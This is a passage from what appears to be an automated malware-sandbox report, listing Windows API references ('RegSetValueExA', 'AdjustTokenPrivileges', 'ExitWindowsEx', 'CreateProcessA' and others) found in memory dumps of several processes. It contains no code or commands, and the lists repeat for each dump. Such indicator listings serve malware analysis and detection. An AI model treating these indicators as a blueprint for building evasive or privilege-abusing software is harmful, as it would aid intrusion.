"00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API (Indicator: "Beep"; Source: "00000000-00004880.00000002.94895.7F2D0000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00004976.00000000.91175.01181000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004976.00000000.91175.01181000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00004976.00000000.91175.01181000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00004976.00000000.91175.01181000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00005260.00000000.91286.00131000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00005260.00000000.91286.00131000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00005260.00000000.91286.00131000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00005260.00000000.91286.00131000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: 